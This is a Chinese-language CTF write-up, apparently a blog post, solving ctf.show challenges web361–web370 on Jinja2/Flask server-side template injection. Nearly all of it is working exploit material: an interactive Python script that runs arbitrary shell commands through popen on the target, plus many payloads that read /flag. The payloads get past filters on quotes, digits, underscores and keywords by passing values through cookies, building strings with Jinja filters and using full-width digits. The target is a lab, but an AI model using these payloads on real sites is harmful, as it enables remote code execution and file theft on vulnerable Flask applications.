web361:

​ name传参,直接干:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from requests import get


def get_wrap():
for i in range(100,200):
url = "http://a96b5242-08d2-4901-8692-4b324f00d95a.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[" + str(i) + "]}}"
resp = get(url)
if "os._wrap_close" in resp.text:
print(url)
break

def poc():
while True:
cmd = input('Enter your command: ')
if cmd == '0':
break
else:
url = "http://a96b5242-08d2-4901-8692-4b324f00d95a.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('" + cmd + "').read()}}"
anser = get(url).text
print(anser)
poc()

补充:几种手法

  • 手法一:payload os.warp_close类 的popen 方法
  • ?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}
  • 手法二: 利用config:
  • ?name={{config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
  • 手法三:lipsum.__globals__含有os模块:
  • ?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
  • 手法三:利用__builtins__
  • ?name={{url_for.__globals__['__builtins__']['eval'](__import__('os').popen('cat /flag').read()}}
  • ?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}

web362:

​ 过滤了数字2,3,上没有数字的payload就行了:

1
2
3
4
5
6
7
8
9
10
11
12
from requests import get

def poc():
while True:
cmd = input('Enter your command: ')
if cmd == '0':
break
else:
url = "http://059cc139-d7d5-4369-86b1-0f3cf98b114c.challenge.ctf.show/?name={{config.__class__.__init__.__globals__['os'].popen('" + cmd + "').read() }}"
anser = get(url).text
print(anser)
poc()

​ 另外的payload:

  • ?name={%set b=(dict(b=c,c=d)|join|count)%}{{''.__class__.__base__.__subclasses__()[66*b].__init__.__globals__['popen']('tac /f*').read()}}
    #先利用join和count过滤器得到数字2,然后再用66*2去得到132
    
    1
    2
    3
    4
    5

    - ```python
    ?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
    #builtins模块,里面有eval方法可以调用
    #用eval去调用__import__方法,import方法是导入模块用的,我们导入os模块,然后调用os模块的popen,再read就可以了
  • ?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
    或者
    ?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9

    # web363:

    ​ 过滤了引号,可以用request来绕过:

    ​ payload1:

    ```python
    ?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('tac /flag').read()

​ payload2:这里用config拿到字符串,比较麻烦就不全演示了,只演示部分:

1
2
3
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
相当于
?name={{url_for.__globals__['os']}}

​ payload3:

1
2
3
4
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

使用
?name={% set chr=url_for.__globals__.__builtins__.chr %}{{ url_for.__globals__[chr(111)%2bchr(115)]}}

web364:

​ 过滤了引号,args,同时不允许使用POST传参,使用Cookie传参吧:

1
?name={{().__class__.__base__.__subclasses__()[94][request.cookies.m1](0,request.cookies.m2)}}

​ 之后Cookie传入参数:

1
m1=get_data;m2=/flag

Web365:

​ 这里在上一个题的基础上过滤了中括号,所以得用别的方法:

1
2
?name={{().__class__.__base__.__subclasses__().__getitem__(290).__init__.__globals__.__getitem__(request.cookies.m1).popen(request.cookies.m2).read()
}}

​ 之后Cookie传入:

1
m1=os;m2=cat /flag

​ 还有个办法,不过是一次性的,失败了之后环境就废了,毕竟pop会删除对应的键,导致环境崩溃:

1
?name={{().__class__.__base__.__subclasses__().pop(290).__init__.__globals__.pop(request.cookies.m1).popen(request.cookies.m2).read()}}

​ 之后Cookie传入:

1
m1=os;m2=cat /flag

Web366:

​ 这个题多过滤了下划线,可以用lipsum绕过:

1
?name={{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}}

​ 之后Cookie传入:

1
m1=__globals__;m2=cat /flag

Web367:

​ 这个题又过滤了个os,直接扔个payload吧,Payload解释问Ai都可以问出来:

1
?name={{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}

​ 之后传入Cookie:

1
m1=__globals__;m2=cat /flag;m3=os

Web368:

​ 这个题,需要用到{% %},因为双大括号里的request被过滤了,但是{% %}中的request没有被过滤,和上一个题构造的payload一样,不过有点改变,就是没有使用双大括号,所以需要print输出以下(类似无回显):

1
?name={%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%}

Web369:

​ 这里直接给request给ban了,不过可以自己拼字符串,还算好,直接上最终payload:

1
2
3
?name=
{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(x.open(file).read())%}

​ 看着很长很唬人,但实际确实不简单,这个我会在下一篇文章进行考点总结的,不急,这里先给下解释:

1
2
3
4
5
6
7
8
9
10
11
?name=
{% set po=dict(po=a,p=a)|join%} //拼接出pop
{% set a=(()|select|string|list)|attr(po)(24)%} //拼接出_
{% set ini=(a,a,dict(init=a)|join,a,a)|join%} //拼接出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} //拼接出__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} //拼接出__getitem__
{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%} //拼接出__builtins__
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}
{% set chr=x.chr%} //使用chr类来进行RCE因为等会要ascii转字符
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} //拼接出/flag
{%print(x.open(file).read())%}

Web370:

​ 这个题过滤了数字,不过可以用全角数字来绕过,转换的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("输入想要转换的数字字符串:")
for i in s:
t += half2full(i)
print(t)

​ 得到的payload如下:

1
2
3
4
5
6
7
8
9
10
11
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}